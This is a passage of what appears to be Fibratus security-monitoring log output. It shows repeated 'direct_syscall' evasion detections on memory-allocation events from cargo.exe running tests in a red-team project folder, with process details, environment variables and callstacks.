Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9867192 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ d0f50f3000, exe➜ C:\Users\nedo\.cargo\bin\cargo.exe, name➜ cargo.exe, page_type➜ PRIVATE, pid➜ 15532, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb03586 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902755 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 1 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9867432 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ d0f50f2000, exe➜ C:\Users\nedo\.cargo\bin\cargo.exe, name➜ cargo.exe, page_type➜ PRIVATE, pid➜ 15532, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb03586 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902757 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 1 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.986765 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ d0f50f1000, exe➜ C:\Users\nedo\.cargo\bin\cargo.exe, name➜ cargo.exe, page_type➜ PRIVATE, pid➜ 15532, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False 